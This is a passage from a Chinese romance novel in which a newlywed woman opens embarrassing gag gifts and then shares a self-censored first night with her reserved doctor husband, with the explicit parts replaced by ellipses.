云听抬手拿起其中一份包装鲜艳的礼物,礼盒上系着一条粉色的丝带,看起 来活泼又别致。 她认出这份礼物是辛亦桐送的,包装上的卡片上写了调侃的字句:“祝新婚愉快,记得给我分享心得!” 云听无奈地笑了一下,心想这份礼物八成不是什么正经东西,可还是带着好奇心拆开礼盒。 礼盒打开的一刹那,云听的心已死。 箱子里整整齐齐地码着各式各样的避。孕。套,五颜六色的包装在灯光下格外诡异。 云听眨了眨眼,生怕自己眼瘸看错了。 没看错。 各种尺寸、各种类型,从“超薄”到“加厚”,甚至还有一些附带奇怪功能的款式,琳琅满目,俨然像个展示柜。 云听心情复杂地瞥了一眼辛亦桐送的“特别礼物”,扶额叹气。她低声嘀咕:“果然不能对她抱什么期待。” 她将目光转向另一份包装高级的礼物。 金色的纸张包裹得严严实实,上面附着一张小卡片,字迹龙飞凤舞,是云闻的笔迹:“新婚快乐,愿小听和聿哥幸福美满。” 云听拆开礼物,更想死了。 里面静静躺着几瓶白色的小药瓶,包装上印着全英文还有日文,瓶盖光亮。 其中一个醒目的标签吸引了她的注意,翻译成中文是——“男性健康辅助品”,“增强持久力与幸福感”,“一夜八次郎”、“进口。壮。阳药”。 最大的那瓶上面写着:“いちにちにじゅうにかい、いっかいにじかん(一天12次,一次2小时)。” 云听打开翻译软件,拍照翻译。 不像是正经药… 云听:“……” 她盯着桌上的两份奇葩的礼物发愣,一边想把东西收好,一边又不知道该藏到哪里才好。 惊慌之余,一不小心碰到了装壮。阳。药的盒子。 药瓶“咔哒”一声翻落在地,滚得到处都是。 云听浑身一激灵,连忙俯下身去捡,却因为动作太急,膝盖撞到旁边的桌脚。 桌上的那箱避孕套似乎受到召唤,也随着震动哗啦一声滑到地上,五彩缤纷的包装顿时散落一地。 祸不单行,云听跪在地上慌忙失措捡避。孕。套时,浴室的门开了。 徐清聿看到就是这样一幅场景: 她的新婚妻子,穿着一袭吊带款式的短款婚纱,跪在地上捡拾避。孕。套,胸口白得晃眼。 “你在干什么?” 云听指尖正捏着一盒超薄的避。孕。套,周围一片狼藉,花里胡哨的包装袋和几瓶翻倒的“男性健康辅助品”在地毯上散落成灾。 听到声音,她条件反射地转过头。 徐清聿穿着深黑色睡衣睡裤站在门口,头发还带着湿意,几缕碎发垂在额前,水珠顺着发梢滑下,滚过他清晰的眉骨,再划过锋利的下颌线,最终消失在微敞的浴袍领口中。 云听涨红了脸,用裙子遮住避。孕。套,欲盖弥彰:“我在…拆…礼物…” 徐清聿视线下移,扫过地上那混乱的一片,眸光一暗,随后挑起了眉梢。 “藏什么?”他道:“这些东西不是要用的吗?” 云听恨不得直接钻到地板下面去。 裙子遮不住,她便用身体挡住地上的一片狼藉,却发现东西实在太多,根本无从遮掩。 她只得低着头,声音发颤地说道:“不……不是这样的!这只是礼物……我没想……” 徐清聿缓步走到云听面前,停下脚步,居高临下地看着她。 他湿润的发梢还滴着水,一滴水珠经过他的薄唇,不偏不倚地落入云听微启的唇间。 云听下意识地伸出舌尖舔了舔,尝到了淡淡的湿润与温热。 细微的动作落入徐清聿眼中,他的眸色沉得像是藏着一片翻涌的深海。 他蹲下身靠近,呼吸低沉,却一句话也未说。 空气中的温度升高,要把云听煮熟煮透。 “云听。” “啊?” 徐清聿脸色稍沉,垂眸淡道:“既然已经结婚,就断掉外面不三不四的人。” 他又重复了一遍。 云听这次没有反驳,她后知后觉徐清聿说的不三不四的人是指祁修泽。 “徐…徐清聿,不管你相不相信,我从来没有和人有过亲密关系…除了一次。” 云听在徐清聿的眼神中,看到了质疑。 早晨吃的抗过敏效果已微乎其微。 空气中再次弥漫起白梅香,清冷执拗的气味无孔不入,钻进云听的鼻腔。 云听开启自我保护机制,屏住呼吸,可为时已晚,身体的反应已经开始,喉咙发痒,皮肤发烫。 可徐清聿冷漠的眼神比她身体遭受的折磨还要疼一百倍,一千倍。 云听心一横,所幸破罐子破摔,她倔强地抬起头,直起身子,双手捧住徐清聿的脸,小心翼翼地吻上他的薄唇。 四片唇瓣贴合,冰冷与炙热交织。 颤抖的睫毛下藏着紧张与期待,云听伸出舌尖,试探性地在徐清聿的唇边轻轻触碰。 徐清聿始终紧抿着唇。 云听的动作停顿了一下,她没有退缩,不放弃继续尝试,舌尖在他的唇瓣边缘滑过,试图撬开他的冷漠。 也许,这是最后一次两人亲密接触,但没关系。 徐清聿依旧不为所动,唇线紧绷,既不避开,也没有给予任何回应,冷冷地看着她。 云听放弃了,毫无章法地咬了几下后,她后仰了一些,脸上晕开浅浅的红,接着她摘下徐清聿的眼镜,吻上他眼角的泪痣。 第18章 第十八章 “你是想让我死吗?”…… 云听的吻落在徐清聿的泪痣, 深情缱绻。 时间抽空了一部分感知,只剩下触碰他的清晰知觉。 徐清聿低头,眸子微敛, 视线停留在她轻闭的眼睑上。 “云听。” 云听未及言语,眼睛依旧闭着,她的手搭在他的肩上,动作生疏, 却执拗。 下一秒,徐清聿伸手将她推开。 他的动作并不粗暴,毫无防备的云听身子踉跄了一下,睁开眼时,正对上他沉下的脸色。 徐清聿眉头紧蹙, 薄怒道:“云听,我不喜欢别人碰我的眼睛。” 云听张了张嘴,一时不知该如何回答。她垂下头,勇气告罄:“我……对不起。” 徐清聿目光沉沉地扫过云听,视线一寸寸往下, 从她泛红的面颊落到裸露的颈项,再到白皙如瓷的手臂和胸口。 手臂和胸口上一道道浅红,肆意地攀附在她的肌肤上。 “你身上这些,是怎么回事?” 云听注意到他的目光, 发烫的脸崩地紧紧的。 她抬手捂住胸口,遮挡痕迹。 “没事的, 只是……”她的声音低下去,“只是过敏,马上就会好了。” 徐清聿陷入沉思。 这些痕迹他不是第一次看到。上一次,也是这样散乱、清晰, 当时他以为是吻痕。 但现在,他再一次看到这些痕迹时,发现不对。 这些痕迹太轻浮,也太随机,细看之下,更像是一种肌肤敏感的反应,而不是某种激烈的亲密导致的印记。 “过敏?” 云听半垂着眼,弱声说:“嗯……我对白梅过敏,之前就有点儿反应了。” 说完,她起身快步走到沙发旁,将包翻开,从里面摸出一个药瓶,将药片倒在手心, 云听吞下药片,又用水冲了几口,才勉稳住呼吸。 几分钟后,身上的痒意缓解。 她抬起头:“好多了。” 徐清聿问:“这种反应很严重?” 云听摇头:“看情况,一般来说没有很严重,吃药就会好。” 白梅香仍未散尽,甚至还能从书桌边的玻璃瓶里捕捉到花香的源头。 这段日子,白梅开得正好。 作为一名医生,徐清聿的生活节奏一向快而紧张,特别是夜晚的急诊电话,常常让他的睡眠被迫中断。 有时候他的太阳穴会隐隐作痛。 有一次会诊之后,他在院长办公室等结果。 窗外正是白梅的花期,开得满树繁茂。 院长见他神色疲惫,便随手折了几枝放在屋里,说是可以提神醒脑。 “这种香味对缓和情绪 也有帮助,比喝咖啡强多了。” 有用,作用不大,但聊胜于无。 从那以后,他便对白梅香有了偏爱。 每年花期,徐清聿会让人剪几枝新鲜的白梅放在房间里。 不是为了装饰,只是这种淡香能让他紧绷的神经稍稍放松,让时不时袭来的疲惫稍缓。 眼下,白梅已经没有存在的必要。 徐清聿没有看云听,转身走到门边,将白梅丢了出去。 随后,他回到她身边,低头看着她,语气平静:“这些痕迹不丑,你不用藏。” “哦,好。”云听想起自己方才的冲动,那个带着花香的吻,以及徐清聿推开自己时的冷漠表情。 脸火辣辣的,一路蔓延到耳根。 “那…我先去洗漱了…” “嗯。” 不等徐清聿回应,云听便三步并作两步跑进浴室。 关上浴室门,她背靠在门上,伸手摸了摸自己滚烫的脸,咬着唇轻轻叹了口气:“丢死人了……” 洗完澡,云听从柜子里拿出一套叠好的睡衣,手指刚触到睡衣,就发现质感不对劲 那并不是她以为的普通棉质睡衣,而是一件黑色蕾丝制成的情趣睡衣。 薄薄的布料只能堪堪遮挡重点部位,其他地方几乎是半透明的。 云听抖开衣服,领口开得很低,裙摆短得只能遮住大腿根。 更要命的是,一旦动起来,这件衣服完全没有遮掩可言。 云听呆若木鸡,手指紧紧攥着睡衣,整个人像被雷劈中一样呆在原地。 脑海中,云闻说的话浮现。 “你搬过去的时候别带衣服啦,我帮你准备好了!” “就当姐送你的新婚礼物。” “放心,没有人比我更了解你的尺寸,你什么都不用考虑,和聿哥过好二人世界就行啦。” “也不知道聿哥喜欢哪种款式,我都买一件好啦,放在浴室的柜子里,你进去慢慢挑,给聿哥一个惊喜。” 云听懊恼不已。她早该怀疑的,云闻给她准备的衣服为什么要让徐清聿喜欢。 可她那时候没有多想,傻傻地信了云闻的话,以至于现在落得这样的窘境。 云听将睡衣重新叠起来,又打开浴室柜子想找其他衣服。 她不用全打开,就能从柜门缝里看到,里面整齐摆放的每一件都是同样暴露的睡衣。 蕾丝、镂空、薄纱…… 红色、黑色、粉色…… 全是她绝对不可能穿出去的款式。 云听绝望地合上柜门,脑海里飞快转着解决办法。 她不能穿湿掉的旧衣服,也不能就这样围着浴巾睡一晚上,更不能穿这些衣服面对徐清聿! 她身上还有红痕,又不能穿厚衣服… 犹豫了片刻,她隔着门开口问:“徐清聿……” 门外传来低沉的回应:“嗯?” 云听努力让自己的声音正常一点:“你能不能……借我一套睡衣?” 徐清聿的声音听起来漫不经心:“为什么?” 云听眼睛一闭,胡乱找了个借口:“我的衣服…不小心掉地上了,全都湿了。” 外面沉默了一瞬,随即徐清聿说:“换一套。” 云听咬了咬唇,知道这个理由说不通。她挣扎了一会儿,老实说道:“我……我没有别的衣服了。姐姐给我准备的睡衣,每一件都没法儿穿。” “为什么不能穿?” 云听:“就是…太暴露了…遮不住…” 徐清聿面无表情地把衣服重新挂回衣柜,“你出来,自己挑。” 云听连忙拒绝:“不用了!随便哪一件都行,你帮我拿一件就好!” “自己出来挑。” 云听语塞,低头看了看自己湿透的旧衣服和浴巾,满脸苦涩。 她现在根本没有选择。 她咬牙换上黑色蕾丝睡衣,双手紧紧拽着裙摆,推开浴室门。 徐清聿坐在沙发上,听到声音也没有转头。 他正在看手机,眉眼冷淡,一副漠不关心的模样。 云听松了一口气,飞快地走到他的衣柜前,打开柜门翻找睡衣。 衣柜内的衣服被分门别类挂着。 从左到右,几乎看不到鲜艳的颜色。 简单、克制,有些过于单调。 衬衫的领口扣到最顶端,西装的外套没有一丝褶皱,叠放的毛衣齐齐整整地排列着,每一件领口方向都保持一致。 这是徐清聿的一部分,一个近乎完美无瑕的侧面,但也因为太过私人,让云听生出强烈的羞赧感。 衣柜下方有一个半开着的小抽屉,云听不由自主地低下头,想看看是什么,随即愣住了——一排黑色的内。裤,每一条都被叠成一样的形状,规矩地躺在那里。 云听心脏快要炸开,飞快地移开目光。 “睡衣……”她低声喃喃,努力甩开脑海里乱七八糟的念头,手指拨动衣柜里的隔层,往下探寻。 在衣柜的另一侧,云听瞅见一排平整叠好的睡衣。与其他衣物的风格一样,这些睡衣也以深色为主,最上面的是一件藏蓝色的睡袍。 正当她伸手去拿睡衣时,一股熟悉的雪松木和薄荷从背后靠近。 云听回头的动作还未完成,徐清聿伸手越过她的肩膀,拿下一件白色的棉质T恤。 动作极为自然,完全没有考虑到他们之间此刻的距离。 云听的背贴上了他的胸膛,前进也不是,后退不也是。 徐清聿身形高大,宽阔的肩膀从后方笼罩住她纤细的身影,她整个人被圈进了他的怀里。 胸膛的温热透过薄薄的衣料传递过来,云听能感受到他每一次轻缓的呼吸。 两人用的是同一瓶沐浴露,饶是她嗅觉再好,她也无法判断她闻到的香味来自谁。 徐清聿说:“这件。” 云听往旁边挪了一步,拉开两人之间的距离,徐清聿后背仍然贴着他。 她的手不知该放在哪里,嗓音颤了颤:“徐……徐清聿。” 徐清聿问:“怎么?” 云听看着他递到自己面前的T恤,衣服质地柔软,轻薄干净。她仓促地接过衣服,指尖不小心碰到他的手背,飞快收回去,“谢…谢谢…” 徐清聿没有立刻退开,低下头,嗅她身上沐浴露的香气,有几分湿润的清甜。 他更靠近云听,随意瞥了一眼敞开的内裤柜,语气平淡:“动作快点,别着凉。” 云听逃一样往浴室跑去。 她跑得太急,没注意到裙摆随着动作掀起,露出一截纤细雪白的腰肢和修长的双腿。 徐清聿在她身上停留了三秒,眼神暗了下来。 他站在原地,深幽的眼眸里多了一丝意味深长的情绪,指尖轻轻摩挲了一下。 浴室的门再次关上,云听靠在门上大口喘息,捧着那件带着徐清聿气息的睡衣,脸红得几乎要滴血。 她抬手捂住脸,后悔万分:“不应该信姐姐的话……也不应该穿成这样出来……” 徐清聿的衣服很宽大,穿在她身上盖到了大腿中部。房间整天开着暖气,即使只穿上衣也不会冷。 云听觉得这件衣服有一点儿眼熟。 徐清聿为什么会在放满冬衣的衣柜放一件夏衣? 她在卫生间磨蹭了很久。 暗自庆幸,如果不是过敏,徐清聿就会发现她脖子上的吻痕,她又会不知道怎么解释。 现在他应该不会发现吧… 云听慢吞吞从浴室出来,徐清聿道:“头发还没干,过来。” “徐清聿,不用了,我可以……” “过来。” “哦,好。” 徐清聿将她的长发拢到一侧,插上电源给她吹头发。 十分钟后。 “好了。”徐清聿关掉吹风机,将它放回原位 云听刚想道谢,听到他开口:“抱歉。” 她愣了一下,疑惑问:“徐清聿,你…为什么道歉?” “我是医生。你不舒服,我没有发 现,这是我的问题。” 云听眨了眨眼睛:“没关系的,术业有专攻。就算你是医生,也不是所有的事情都懂的,这没什么……” 徐清聿冷不伶仃**脸,问:“不是所有都懂?” 云听语无伦次地解释:“我不是那个意思……只是觉得,医学那么广,我……” 徐清聿打断她:“但我该发现的,没发现,是我的失职。你不用替我找理由。” 云听把错归结在自己身上,“是我的原因…是我没告诉你…” 心底五味杂陈。 她看不懂徐清聿。 徐清聿先终止话题。 他转过身,手指捏起一瓶白色药品,问:“这是什么?” 要死了!!! 云听才注意到桌下洒落的一片狼藉——套、壮。阳。药,此刻已经被收拾好,整齐地放在茶几的一侧。 套分成了三摞。 左边的是超薄,中间的是延时,右边的是润滑加强。 云听能理解徐清聿习惯将每一样东西都分门别类,药物按照成分,器械按照用途,但套有必要吗?! 她的呼吸乱了,瞳孔收缩,心跳疯狂地撞击胸腔。 徐清聿已经看到了,不光看到了,他还亲手将那些东西整理好了。 避。孕。药还能解释,这个壮。阳。药怎么解释啊? 会不会打击到徐清聿的自尊心? 云听虽然不是男人,但知道男人在这方面的自尊心很强。 “那个……”云听讷讷,“徐清聿…不是你想的那样……” 徐清聿淡然的视线与她相撞,藏着某种看透一切的深意,没有半分波动。 云听大脑缺氧,脸上红温:“这些东西……其实是……不是……” 徐清聿轻哂:“嗯,继续。” 继续编。 “我……” 徐清聿要笑不笑:“这些来路不明的东西,谁给的?” “对不起…” “云听。我问你,这些是谁给你的?” “是我自己买的!”云听脱口而出,说完便捂住了嘴,双眼瞪得大大的。 徐清聿有点儿可怕… 她不能把云闻供出去… 徐清聿眯起眼睛,重新看向那瓶药:“你自己买的? 云听紧张得连呼吸都不敢太大声,直接豁出去了:“是……不过是…给我用的…我怕我不行。” 这算保护徐清聿的自尊心了吗? 应该…算是…保护了吧… 闻言,徐清聿眼皮跳了一下,看到瓶身上面写的“男士专用”几个英文,气笑:“一天十二次,一次两小时。” “云听,你是想让我死在床上吗?” 第19章 第十九章 “为什么要亲我?” 云听站在原地, 满脸通红地盯着茶几上的那堆东西。 她又不是傻子,当然知道药不能乱吃。 它的安全性不能保证,健康的人误服了这种药, 岂不是平白无故招惹病患? 倘若真有隐疾,随意尝试这来路不明的东西,只会雪上加霜,后果难以想象。 药性如何, 无人知晓,要是其中掺杂不该有的成分,轻则损害身体,重则危及性命。 云听从未想过要让徐清聿碰这些药,也不愿让他成为任何实验的对象。 她喜欢徐清聿, 可这种喜欢绝不掺杂半分隐晦的念头,更不可能为此动用旁门左道的手段。 她想要的是他心甘情愿地回应,而不是依靠任何外物去影响他的意志。 即使这份感情得不到回报,她也不愿意用这种方式去获取一份虚假的亲近。 这些药……只不过是一场荒谬至极的误会罢了。 心里越想越乱,云听上前一步, 二话不说夺过徐清聿手里的药,走到垃圾桶旁,毫不犹豫地扔了进去。 “这东西不能乱吃!你不能吃!” 转过身时,对上徐清聿耐人寻味的目光。 “我有说, 我要吃吗?”徐清聿顿了顿,笃定道, “这些药,不是你买的。” 云听再三犹豫,哑声承认:“是我买的…真的…” 徐清聿冷静地看着她:“是云闻准备的吧?” “云闻和你说了什么?” 云听沉默地咬住下唇。 她的沉默,在徐清聿眼中是一种默认。 他忽然低低地笑了, 笑意没有温度,薄唇勾起:“她跟你说,我不行,是吧?” 云听急切地摆手:“不是这样的!她没这么说——” 徐清聿打断她:没事,她没说错,我的确不行。” “不是的,不是的!”云听急得差点跳起来,脸上的红晕延伸到了脖子,“你别乱说!” “没关系的…徐清聿…会好起来的…都会好起来的…真的…” 安慰朋友是云听熟悉的事情。 不论朋友是失恋、工作上的挫折,抑或是莫名的沮丧情绪,她总有办法找到合适的话语。 云听擅长察言观色,知道什么时候该让对方发泄情绪,什么时候该转移话题,让沉重的心情得以缓解。 但面对徐清聿,她是个彻头彻尾的哑巴。 她不是徐清聿,她不能感同身受,她无法体会他自尊心上的刺痛。所以一碰上他,那些再自然不过的安抚技巧都像凭空蒸发了一样。 “你这是什么眼神?”徐清聿看到云听的神情,欲笑未笑。 他向前一步,慢条斯理道:“既然没关系,你是我的妻子,那么是不是该履行你的义务。” 云听怔住:“什……什么义务?” 徐清聿下巴微抬,指向床:“躺着。” 云听瞪大眼睛,不敢相信地凝视他,脸色霎时红到了极点:“徐清聿…你……你在说什么?” 徐清聿问:“你不是想帮我吗?” “怎么,不愿意?” 脸上的热度一波接着一波涌上来,她的脚在原地生了根,动也不动。 徐清聿的目光扫过云听,“只有你可以。” 声音很轻,云听沉浸在自己的思绪中,与内心的纠结做斗争,自然没有听到徐清聿奇奇怪怪又让人怀疑的话。 不知道过了多久,她垂下眼睫,深吸一口气,僵硬地迈开步子,慢慢走向床边。 背对徐清聿,犹豫很久才伸出手,咬了咬唇,小声说:“愿、愿意的。” 伴随布料滑落,空气里的凉意逐渐攀上她的肌肤,云听低头看着自己,心底涌起一股无法言说的羞涩。 她的背部线条犹如流畅的水波弧度,毫无多余的赘饰。 肩胛骨微微凸起,肌肤在微光下泛着淡淡光泽,像是两片展翅欲飞的羽翼,纤细又不失柔美。 脊背中央的脊柱线轻轻向内收拢,延伸到盈盈一握的纤细腰肢,带着一种介于青涩与妩媚之间的魅力。 而此刻,她的头垂下,发丝松散地滑落到肩膀,细长的颈项连接着这片雪白的脊背,增添了一种无意间的柔弱感。 云听似乎并未察觉自己的背会如此漂亮。 她的双手环住月匈口,将自己裹得更严实。 但是,那片裸露出的脊背,反而因为这种刻意的遮掩,更显得动人心魄。 身后的人长时间没有动静。 云听拿起被子,将自己盖得严严实实,只露出一张微红的脸和一双紧张得不知该放在哪里的手。 徐清聿让她躺下。 接着他掀开被子,欺身*了上来。 床正在一点一点下陷。 云听抬起双手,抵在他的月匈前,想要隔开一点距离。然而四目交缠时,她的力气消失了一半,手软绵绵放在身侧。 徐清聿靠的很近,近到她能清晰地看见他眼中的光,有**,有惊艳,还有一些她看不懂的。 “徐…徐清聿…” 徐清聿吻上云听的脖子,骨感干燥的手掌不规矩的在她的****,经过的地方,有烈火升起。 云听不自觉地弓起月要,却不忘提醒:“徐清聿…可以不要亲我过敏的地方吗…” 怕你觉得恶心。 这些过敏的红痕有时候她看了都会不舒服,更何况徐清聿。 徐清聿:“嗯。” 徐清聿的吻沿着她的耳垂向下,滑过颈项的曲线,停留在锁骨的凹陷处,唇瓣似有若无地 摩挲着。 云听快要流出眼泪,紧紧咬住唇,不发出一点儿声音。 慢慢的,滚烫的唇一路向下。 “云听,放松一点。” 说完,他再次口勿上她的。 徐清聿没有摘戒指,冰凉的戒指贴过最敏感的地方,云听差一点尖叫出声。 ……………………………………… (要崩溃了改了n遍,还是不行,全删了,用省略号代替) “不…”云听细长的手指没入徐清聿的黑发。 徐清聿掰过她的脸,问:“到底要不要?” 云听眼中盈满了泪水,像两汪清澈的湖泊,被情绪搅动得波光粼粼。泪珠挂在睫毛上,颤动着,随时都会坠落。 “要…” 听到她的话,徐清聿起身,跪坐在床上。 接着是包装撕开的声音。 云听张了张嘴,似乎想说些什么,但只抬起下巴,咽了一下喉咙。 干渴的感觉让她伸出舌头,舔过唇瓣,一截嫣红的舌尖在灯光下滑过,舔过的唇泛起一层微弱的湿润光泽,显得更加诱人。 “水……”她轻声呢喃,声音低哑,带着几分渴望与疲惫,仿佛在请求,又像是在自言自语。 后颈猛的被捏住,徐清聿的舌尖顶开她的齿关,勾住她的舌头缠弄。 唇齿交缠,攻势猛烈,两人的呼吸越发急促。 ……响起靡靡水声。 很甜,让人上瘾。 ……(省略,555) 徐清聿替她擦干眼泪,“小听,别哭。” “抱歉,我没有经验……” 云听愣住了,忘了疼痛,忘了自己因为………而满脸潮红,眼中的泪珠还没滑落,却倏地定在了那里。 小听,徐清聿从未叫她小听过… “你……”云听声音哽咽,却又不知该说些什么,只是抬起湿润的眸子,迷茫又柔软地看着他。 徐清聿呼吸了一下,额头覆一上层薄汗,低头望着她,深邃眸光中夹杂着一丝紧张。 ……(全删了,省略) 汗水浸湿了云听的鬓角和后背,她睁开眼,思绪一片混乱。 云闻说徐清聿不行。 导致云听在徐清聿**的前一秒,都以为他真的“不行”。她接受了这个事实,可现实狠狠地给了她一记反转。 想到刚才的情景,她的心跳仍未平复,指尖颤抖,被徐清聿彻底打乱了节奏。 徐清聿不仅“行”,而且比她想象中的还要“行”得多。 云听忍不住侧过头。 徐清聿穿戴完整,只……… 这……怎么可能不疼? 别开眼。 徐清聿不是谈过恋爱吗? 为什么他说他是第一次…他和唐老师没有发生亲密关系吗? 云听心里有上千个疑问。 但不能否认,她听到徐清聿说他是第一次时,她很高兴。 负距离接触过后,云听觉得自己和徐清聿更近了一些。她咬着唇,闷声问:“徐清聿…你说第一次…真的吗?” 徐清聿将套用纸包裹起来,扔进垃圾桶:“怎么,不信?” 他衣衫完整,脸色有点儿红,这个样子不会有人想到三分钟之前他干了什么。 好比猛兽盯上猎物,侵略性的目光向她宣告一切皆在他的掌控之中。 云听急忙摇头。 徐清聿俯身靠近,手指挑起她的下巴,目光漆黑得像能吸人进去。 “你这虚弱的样子,还挺有趣的。”尾音藏着一丝淡淡的戏谑。 “你……”云听被他说得脸红耳热,气急却无力反驳,“我没有……我也是第…次…” 徐清聿眼中一闪而过惊讶。 他问:“一次就这样,你还想十二次?” 云听结巴,“我…我…” 徐清聿又问:“谁先去洗澡?” 云听愣了一下,迟迟没有回答。 身体还残留着方才让她无法招架的侵略感。 她舔了舔干涩的唇,喉咙滚动了一下,脑海中冒出一个大胆的念头。 她还想再来一次。 云听为自己的想法而羞赧,却又无法控制地被那种冲动吸引。 徐清聿只有z的时候才会和她接吻, 她想和徐清聿接吻… 没等她组织好语言,徐清聿已经察觉到了她的情绪,将她的心思看得一清二楚。 他伸手撩了撩云听额前的碎发,声音低哑而冷淡:“疼得都动不了,还敢第…次。” 云听窘得脸颊通红,被人抓了个现行。 后面不疼的…真的!! 但她不敢说,怕徐清聿认为她欲/求/不/满。 云听拉高被子盖住自己,只露出一双眼睛,眼神飘忽不定,磕磕绊绊地反驳道:“我、我没有……” “那我先去了。” 云听望着他的背影,鼓起勇气低声开口:“不能一起吗?” 说出口的瞬间,她的心跳得快要炸裂,不敢去看徐清聿的表情。 徐清聿脚步微顿,半侧过头,吐出两个字:“不行。” 一盆冷水兜头泼下,残存的勇气和期待烟消云散,“哦…好的…” 她强撑着笑了一下,低声应道:“我开玩笑的。” 徐清聿走进浴室,不到三十秒去而复返,“我是不是应该帮你?” 云听反应过来,头摇成拨浪鼓,“不、不用。” * 枕头歪斜地陷在床的中央,周围散落着揉成一团的被子。 床单凌乱不堪,皱褶交叠。 中央位置可见一片深色的水渍,晕染开来的痕迹像静止的波纹。 云听闭了闭眼,穿上睡衣。 撑着床沿站起来,刚一动,腿心的酸软让她脚下一个趔趄,差点摔倒。 她下意识地扶住墙,稳住身形。 浴室的门打开,热气伴着水声迎面袭来,徐清聿走了出来。 他换了一件睡衣,衣领最上面两颗扣子没有系好,可见一小片结实的胸膛和锁骨。 十六年来,徐清聿的衣着端正得无懈可击。 云听初一时,没有去学校组织的春游,反而偷偷溜进徐清聿所在的高中。 大夏天,体育课。 其他男生热得恨不得光着膀子在操场跑圈,而他穿着干净的白色校服,扣子一颗不多,一颗不少地系到恰到好处的位置。 徐清聿从未在人前失态。 他的衣服是他的一部分,一如他的性格,严谨克制到让人几乎忘了,这样的壳下,藏着一副人类应有的血肉和温度。 可此刻,他站在她面前,身上的睡衣松松垮垮。 云听愣住了。 她从来没有见过“不那么雅正”的徐清聿,他的外表太过禁欲,以至于她从未想过,他的身体竟然如此…… 有力,甚至有一点说不出的性感。 好像还有薄薄的胸肌… 见云听盯着自己发呆,徐清聿手指捻了捻头发,露出锋利的眉骨与线条清晰的侧脸,问:“怎么了?” 云听移开视线,装作若无其事:“没什么。” 徐清聿淡淡地“嗯”了一声,将睡衣的扣子一颗颗系好。 云听沉默了一会儿,转身走向桌旁,端起水喝了一口,掩饰窘迫。 刚抬起手,听到身后传来徐清聿的声音,他问:“你还疼?” “……没事,不疼。” 云听稍顿了一下,问,“我刚刚出汗了,不想穿之前那套,你…能不能再借我一套衣服?” 徐清聿没说什么,转身走向衣柜,从里面抽出一套干净的睡衣,指尖拎着衣角,垂在她面前。 云听伸手接过。 她道了声谢,抱着衣服走进卫生间。 关上门,反锁后。 云听靠在门板上,听外面世界归于安静。 她脱掉衣服,松散的布料滑下肩头,露出大片白皙的肌肤。 皮肤上新增不少吻痕,沿着锁骨向下延伸到胸口,隐入更为隐秘的地方。 云听看了很久,忍不住伸手触碰锁骨边缘的吻痕,指腹感受到微微的凹凸感,像一枚刻在她皮肤 上的烙印。 脑海中浮现的片段越来越多。 徐清聿是一个合格的医生。 哪怕在缠绵的时刻,依旧精准到让人惊叹。 每一个吻都像是经过缜密计算,像他手术台上的动作一样,稳、准。 他的唇在她的**上游走,重新覆上已经稍淡的吻痕印记,完美地避开了她所有过敏的红痕。 神奇。 云听的手顺着吻痕往下滑,停在肩胛骨的边缘。 她忽然意识到,徐清聿吻遍了她的, 这个念头让她怔住,片刻后涌上一种强烈的羞涩感。 明明她也享受在其中,可刚才那一次亲密关系,让她误以为连自己的身//体都归属于他的一部分。 逃不掉,躲不掉。 “冷静点,云听。” 洗完澡出来,徐清聿已经换好床单,正坐在床头看书。 他的睡衣袖口挽起到手肘,淡薄的灯光在金丝边镜片上晕开一圈微光。 “云听。”见她出来,他抬头,低沉的嗓音从书页后过来。 云听站在原地没有动,“怎、怎么?” 徐清聿合上书,放到一旁的床头柜上:“过来。” 云听呆了一下,犹豫着慢慢挪了几步,站在离他不远的地方。 徐清聿伸手指了指旁边的床边:“再近点。” 云听走过去,站定。 空气里弥漫着刚换过的床单散发出的清香,她垂着眼,能感觉到徐清聿正在看自己,近乎实质的目光让她手心有些发热。 徐清聿问:“我能检查一下吗?” 云听一时没反应过来,抬头看他:“……检查什么?” 徐清聿挑眉,眼镜后的目光一瞬不瞬盯着她:“你知道我说的是什么。” 一秒的停顿后,云听的脸迅速红了起来,她立刻摇头,磕磕绊绊:“不用了,真的没事……不,不用检查……” 徐清聿的表情没什么变化,只是懒懒地倚靠在床头,淡淡地看着她。 这样的目光让云听更加局促,连站姿都变得僵硬。 “你…”他顿了顿,像是在斟酌词语,然后开口,“不适应,有不适也正常。我的错。” 云听埋下头,想要把自己藏起来。 她的大脑跳出刚刚的那些片段。 徐清聿在某些方面的确是新手。 她一开始确实不太适应,但后来他无师自通地找到了最合适的方式。 “我……真的没事。”云听温声说,“就是有点腿软,其他……没事。” 徐清聿摘下眼镜放到一旁,“那睡觉。” “哦,好。” 徐清聿习惯随时待命的状态。 深夜的急诊电话响起时,他会在两分钟内清醒过来,迅速穿戴整齐,匆匆赶往医院。 可是,只要不是工作,他的生活几乎可以称得上近乎苛刻的自律。 比如说11点之前睡觉。 熬夜看剧、打游戏这种事在他眼中毫无意义。 比如说严格约束饮食。 晚上六点之后不进食,九点之后不喝水,三餐从不含多余的油盐糖。 又比如说时间规划精确到分钟。 他从不会让时间浪费在无意义的事情上。查房、会诊、备课、手术,所有日程都安排得井井有条。 但今天破戒了。 他一向认为,男女之间的事是最无意义的事情之一。 直到云听出现。 徐清聿不确定这份不同究竟是不是因为喜欢,但今晚的一切都在宣告着他的改变。 他破天荒地没在十一点前关灯入睡,甚至喝了两大杯水,身体明明有些疲倦,却没有半分困意。 如果不是云听的表情看起来不太好,徐清聿想,他今晚可能会一整个晚上都不让她离开。 云听是无数次冷静克制中,唯一让他想要失控的人。 她是例外。 * 云听乖乖地躺在床上,双手规规矩矩地搭在身侧,眼睛睁着。 徐清聿说要睡觉时,她听话地躺下了,可是床实在太大,两人之间隔着一片遥远的距离。 她伸开手臂也碰不到他。 这样的“安全距离”让她心里空落落的。 云听翻了个身,把脸埋进柔软的枕头里,让自己放松下来,不去胡思乱想各种有的没的事。 但怎么可能睡得着? 对她来说,调香的灵感总是在深夜冒出头,夜晚和沉寂的房间能放大所有思绪。所以她算得上是半个夜猫子,到了晚上脑海会冒出的各种想法。 这一刻,没有灵感,只有徐清聿几不可闻的呼吸声。 可她依旧无法入睡。 徐清聿是真的睡着了吗? 云听侧过头。 房间的灯光被调得很暗,昏黄的光线几乎快要散尽,但她还是能看清他的轮廓。 高挺鼻梁在暗影中线条分明,眼睛闭着,长长的睫毛低垂在眼下。 她从未和徐清聿如此靠近过,连对视都很少,更别提像现在这样躺在同一张床上,听着彼此的呼吸声。 云听盯着他的侧脸看了很久,心想,“靠近一点,他不会知道的。” 想到这儿,她一寸一寸地挪动身体。 每一小点儿的移动都是一种犹豫和挣扎。 终于,她离得足够近了,呼吸间能感受到徐清聿身上的温度和气息。 云听心跳很快。 